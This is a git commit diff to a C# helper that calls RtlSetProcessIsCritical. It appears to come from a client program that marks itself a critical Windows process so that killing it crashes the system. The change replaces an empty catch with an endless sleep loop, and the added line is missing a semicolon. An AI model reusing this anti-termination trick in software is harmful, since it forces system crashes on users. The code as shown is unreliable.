Update to ProcessCritical.cs
Address's a potential unintentional crash on DE-escalating failure which would cause a BSOD
This commit is contained in:
parent
1846a77b5a
commit
c9f3d0759e
@ -21,7 +21,13 @@ namespace Client.Helper
|
||||
{
|
||||
RtlSetProcessIsCritical(0, 0, 0);
|
||||
}
|
||||
catch { }
|
||||
catch
|
||||
{
|
||||
while(true)
|
||||
{
|
||||
Thread.Sleep(100000) //prevents a BSOD on exit failure
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#region "Native Methods"
|
||||
|
Loading…
x
Reference in New Issue
Block a user